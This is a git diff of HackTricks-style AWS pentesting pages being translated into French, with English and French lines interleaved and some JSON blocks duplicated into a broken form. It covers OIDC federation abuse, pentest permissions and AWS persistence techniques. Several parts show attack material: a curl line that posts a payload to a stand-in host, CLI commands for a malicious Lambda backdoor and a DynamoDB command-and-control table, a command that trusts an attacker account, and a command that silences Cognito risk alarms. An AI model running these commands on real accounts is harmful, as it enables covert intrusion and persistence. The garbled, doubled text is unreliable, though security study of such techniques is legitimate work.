Si vous exploitez une application qui génère des identifiants temporaires, il peut être fastidieux de les mettre à jour dans votre terminal toutes les quelques minutes lorsqu'ils expirent. Cela peut être résolu en utilisant une directive `credential_process` dans le fichier de configuration. Par exemple, si vous avez une application web vulnérable, vous pourriez faire :
|
||||
```toml
|
||||
[victim]
|
||||
credential_process = curl -d 'PAYLOAD' https://some-site.com
|
||||
```
|
||||
|
||||
Note that credentials _must_ be returned to STDOUT in the following format:
|
||||
Notez que les identifiants _doivent_ être renvoyés à STDOUT dans le format suivant :
|
||||
```json
|
||||
{
|
||||
"Version": 1,
|
||||
"AccessKeyId": "an AWS access key",
|
||||
"SecretAccessKey": "your AWS secret access key",
|
||||
"SessionToken": "the AWS session token for temporary credentials",
|
||||
"Expiration": "ISO8601 timestamp when the credentials expire"
|
||||
}
|
||||
"Version": 1,
|
||||
"AccessKeyId": "an AWS access key",
|
||||
"SecretAccessKey": "your AWS secret access key",
|
||||
"SessionToken": "the AWS session token for temporary credentials",
|
||||
"Expiration": "ISO8601 timestamp when the credentials expire"
|
||||
}
|
||||
```
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
|
||||
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
|
||||
|
||||
@@ -1,87 +1,84 @@
|
||||
# AWS - Federation Abuse
|
||||
# AWS - Abus de Fédération
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SAML
|
||||
|
||||
For info about SAML please check:
|
||||
Pour des informations sur SAML, veuillez consulter :
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
{{#endref}}
|
||||
|
||||
In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
|
||||
Pour configurer une **Fédération d'Identité via SAML**, vous devez simplement fournir un **nom** et le **XML de métadonnées** contenant toute la configuration SAML (**points de terminaison**, **certificat** avec clé publique)
|
||||
|
||||
## OIDC - Github Actions Abuse
|
||||
## OIDC - Abus des Actions Github
|
||||
|
||||
In order to add a github action as Identity provider:
|
||||
|
||||
1. For _Provider type_, select **OpenID Connect**.
|
||||
2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
|
||||
3. Click on _Get thumbprint_ to get the thumbprint of the provider
|
||||
4. For _Audience_, enter `sts.amazonaws.com`
|
||||
5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"token.actions.githubusercontent.com:sub": [
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
|
||||
],
|
||||
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
|
||||
7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
|
||||
8. Finally use a github action to configure the AWS creds to be used by the workflow:
|
||||
Pour ajouter une action github en tant que fournisseur d'identité :
|
||||
|
||||
1. Pour _Type de fournisseur_, sélectionnez **OpenID Connect**.
|
||||
2. Pour _URL du fournisseur_, entrez `https://token.actions.githubusercontent.com`
|
||||
3. Cliquez sur _Obtenir l'empreinte digitale_ pour obtenir l'empreinte digitale du fournisseur
|
||||
4. Pour _Audience_, entrez `sts.amazonaws.com`
|
||||
5. Créez un **nouveau rôle** avec les **permissions** nécessaires à l'action github et une **politique de confiance** qui fait confiance au fournisseur comme :
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"token.actions.githubusercontent.com:sub": [
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
|
||||
],
|
||||
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
6. Notez dans la politique précédente comment seule une **branche** du **dépôt** d'une **organisation** a été autorisée avec un **déclencheur** spécifique.
|
||||
7. L'**ARN** du **rôle** que l'action github va pouvoir **imiter** sera le "secret" que l'action github doit connaître, donc **stockez-le** à l'intérieur d'un **secret** dans un **environnement**.
|
||||
8. Enfin, utilisez une action github pour configurer les identifiants AWS à utiliser par le workflow :
|
||||
```yaml
|
||||
name: "test AWS Access"
|
||||
|
||||
# The workflow should only trigger on pull requests to the main branch
|
||||
on:
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
|
||||
# Required to get the ID Token that will be used for OIDC
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read # needed for private repos to checkout
|
||||
id-token: write
|
||||
contents: read # needed for private repos to checkout
|
||||
|
||||
jobs:
|
||||
aws:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
aws:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Configure AWS Credentials
|
||||
uses: aws-actions/configure-aws-credentials@v1
|
||||
with:
|
||||
aws-region: eu-west-1
|
||||
role-to-assume:${{ secrets.READ_ROLE }}
|
||||
role-session-name: OIDCSession
|
||||
- name: Configure AWS Credentials
|
||||
uses: aws-actions/configure-aws-credentials@v1
|
||||
with:
|
||||
aws-region: eu-west-1
|
||||
role-to-assume:${{ secrets.READ_ROLE }}
|
||||
role-session-name: OIDCSession
|
||||
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
```
|
||||
|
||||
## OIDC - EKS Abuse
|
||||
|
||||
## OIDC - Abus EKS
|
||||
```bash
|
||||
# Crate an EKS cluster (~10min)
|
||||
eksctl create cluster --name demo --fargate
|
||||
@@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate
|
||||
# Create an Identity Provider for an EKS cluster
|
||||
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
|
||||
```
|
||||
|
||||
It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
|
||||
|
||||
Il est possible de générer des **OIDC providers** dans un **EKS** cluster simplement en définissant l'**OIDC URL** du cluster comme un **nouveau fournisseur d'identité Open ID**. C'est une politique par défaut courante :
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Cette politique indique correctement que **seulement** le **cluster EKS** avec **id** `20C159CDF6F2349B68846BEC03BE031B` peut assumer le rôle. Cependant, elle n'indique pas quel compte de service peut l'assumer, ce qui signifie que **N'IMPORTE quel compte de service avec un jeton d'identité web** va **pouvoir assumer** le rôle.
|
||||
|
||||
This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
|
||||
|
||||
In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
|
||||
|
||||
Pour spécifier **quel compte de service devrait pouvoir assumer le rôle,** il est nécessaire de spécifier une **condition** où **le nom du compte de service est spécifié**, comme :
|
||||
```bash
|
||||
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
|
||||
```
|
||||
|
||||
## References
|
||||
## Références
|
||||
|
||||
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,21 +1,17 @@
|
||||
# AWS - Permissions for a Pentest
|
||||
# AWS - Permissions pour un Pentest
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
|
||||
Voici les permissions dont vous avez besoin sur chaque compte AWS que vous souhaitez auditer pour pouvoir exécuter tous les outils d'audit AWS proposés :
|
||||
|
||||
- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
|
||||
- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
|
||||
- **access-analyzer:List\***
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
|
||||
- La politique par défaut **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
|
||||
- Pour exécuter [aws_iam_review](https://github.com/carlospolop/aws_iam_review), vous avez également besoin des permissions :
|
||||
- **access-analyzer:List\***
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- Optionnel si le client génère les analyseurs pour vous, mais généralement, il est plus facile de demander cette permission)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- Optionnel si le client supprime les analyseurs pour vous, mais généralement, il est plus facile de demander cette permission)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
# AWS - Persistence
|
||||
# AWS - Persistance
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,36 +0,0 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information go to:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
|
||||
Modify the resource policy of the API gateway(s) to grant yourself access to them
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
|
||||
Or just remove the use of the authorizer.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
|
||||
Or just remove the use of the authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
If API keys are used, you could leak them to maintain persistence or even create new ones.\
|
||||
Or just remove the use of API keys.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Pour plus d'informations, voir :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Resource Policy
|
||||
|
||||
Modifiez la resource policy de l'API gateway(s) pour vous accorder l'accès.
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Modifiez le code des lambda authorizers pour vous accorder l'accès à tous les endpoints.\
|
||||
Ou supprimez simplement l'utilisation de l'authorizer.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
Si une ressource utilise un IAM authorizer, vous pouvez vous donner l'accès en modifiant les IAM permissions.\
|
||||
Ou supprimez simplement l'utilisation de l'authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
Si des API keys sont utilisées, vous pouvez les leak pour maintenir la persistance ou même en créer de nouvelles.\
|
||||
Ou supprimez simplement l'utilisation des API keys.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,25 +0,0 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
For more information, access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
The AWS CDK deploys a CFN stack called `CDKToolkit`. This stack supports a parameter `TrustedAccounts` which allow external accounts to deploy CDK projects into the victim account. An attacker can abuse this to grant themselves indefinite access to the victim account, either by using the AWS cli to redeploy the stack with parameters, or the AWS CDK cli.
|
||||
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,23 @@
|
||||
# AWS - Cloudformation Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
L'AWS CDK déploie une stack CFN appelée `CDKToolkit`. Cette stack prend en charge un paramètre `TrustedAccounts` qui permet à des comptes externes de déployer des projets CDK dans le compte victime. Un attaquant peut abuser de cela pour s'octroyer un accès indéfini au compte victime, soit en utilisant l'AWS cli pour redéployer la stack avec des paramètres, soit en utilisant l'AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,46 +0,0 @@
|
||||
# AWS - Cognito Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
For more information, access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### User persistence
|
||||
|
||||
Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
|
||||
|
||||
- **Adding a User Pool** controlled by the user to an Identity Pool
|
||||
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
|
||||
- Or to an **authenticated Identity Pool** if the attacker can login
|
||||
- Or **improve the permissions** of the given roles
|
||||
- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
|
||||
- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
|
||||
|
||||
Check how to do these actions in
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
|
||||
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
|
||||
By default this is disabled:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
# AWS - Cognito Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### User persistence
|
||||
|
||||
Cognito est un service qui permet d'attribuer des rôles aux utilisateurs non authentifiés et authentifiés et de contrôler un annuaire d'utilisateurs. Plusieurs configurations différentes peuvent être modifiées pour maintenir une certaine persistance, comme :
|
||||
|
||||
- **Adding a User Pool** contrôlé par l'utilisateur à un Identity Pool
|
||||
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
|
||||
- Ou à un **authenticated Identity Pool** si l'attaquant peut se connecter
|
||||
- Ou **améliorer les permissions** des rôles donnés
|
||||
- **Create, verify & privesc** via des utilisateurs contrôlés par des attributs ou de nouveaux utilisateurs dans un **User Pool**
|
||||
- **Allowing external Identity Providers** à se connecter dans un User Pool ou dans un Identity Pool
|
||||
|
||||
Check how to do these actions in
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-cognito-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Un attaquant disposant de ce privilège pourrait modifier la configuration des risques pour pouvoir se connecter en tant qu'utilisateur Cognito **sans déclencher d'alertes**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Par défaut, ceci est désactivé :
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,67 +0,0 @@
|
||||
# AWS - DynamoDB Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
For more information access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Triggers with Lambda Backdoor
|
||||
|
||||
Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
|
||||
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
|
||||
|
||||
### DynamoDB as a C2 Channel
|
||||
|
||||
An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
|
||||
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,59 @@
|
||||
# AWS - DynamoDB Persistance
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Déclencheurs DynamoDB avec Lambda Backdoor
|
||||
|
||||
En utilisant les déclencheurs DynamoDB, un attaquant peut créer une **backdoor furtive** en associant une fonction Lambda malveillante à une table. La fonction Lambda peut être déclenchée lorsqu'un élément est ajouté, modifié ou supprimé, permettant à l'attaquant d'exécuter du code arbitraire dans le compte AWS.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
Pour maintenir la persistance, l'attaquant peut créer ou modifier des éléments dans la table DynamoDB, ce qui déclenchera la fonction Lambda malveillante. Cela permet à l'attaquant d'exécuter du code au sein du compte AWS sans interaction directe avec la fonction Lambda.
|
||||
|
||||
### DynamoDB comme un command and control (C2) channel
|
||||
|
||||
Un attaquant peut utiliser une table DynamoDB comme un **command and control (C2) channel** en créant des éléments contenant des commandes et en utilisant des instances compromises ou des fonctions Lambda pour récupérer et exécuter ces commandes.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
Les instances compromises ou les fonctions Lambda peuvent périodiquement consulter la C2 table pour de nouvelles commandes, les exécuter et, éventuellement, rapporter les résultats dans la table. Cela permet à l'attaquant de maintenir persistence et contrôle sur les ressources compromises.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,58 +0,0 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
|
||||
|
||||
If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
|
||||
An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Backdooring the **User Data**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Backdoor the used AMI
|
||||
- Backdoor the User Data
|
||||
- Backdoor the Key Pair
|
||||
|
||||
### VPN
|
||||
|
||||
Create a VPN so the attacker will be able to connect directly through i to the VPC.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,62 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Pour plus d'informations, voir :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
Si un défenseur découvre qu'une **instance EC2 a été compromise**, il essaiera probablement d'**isoler** le **réseau** de la machine. Il pourrait le faire avec un **Deny NACL** explicite (mais les NACLs affectent l'ensemble du subnet), ou en **modifiant le security group** pour n'autoriser **aucun trafic entrant ou sortant**.
|
||||
|
||||
Si l'attaquant disposait d'un **reverse shell initié depuis la machine**, même si le SG est modifié pour ne pas permettre de trafic entrant ou sortant, la **connexion ne sera pas terminée en raison de** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
Ce service permet de **planifier** la **création d'AMIs et de snapshots** et même de **les partager avec d'autres comptes**.\
|
||||
Un attaquant pourrait configurer la **génération d'AMIs ou de snapshots** de toutes les images ou de tous les volumes **chaque semaine** et **les partager avec son compte**.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
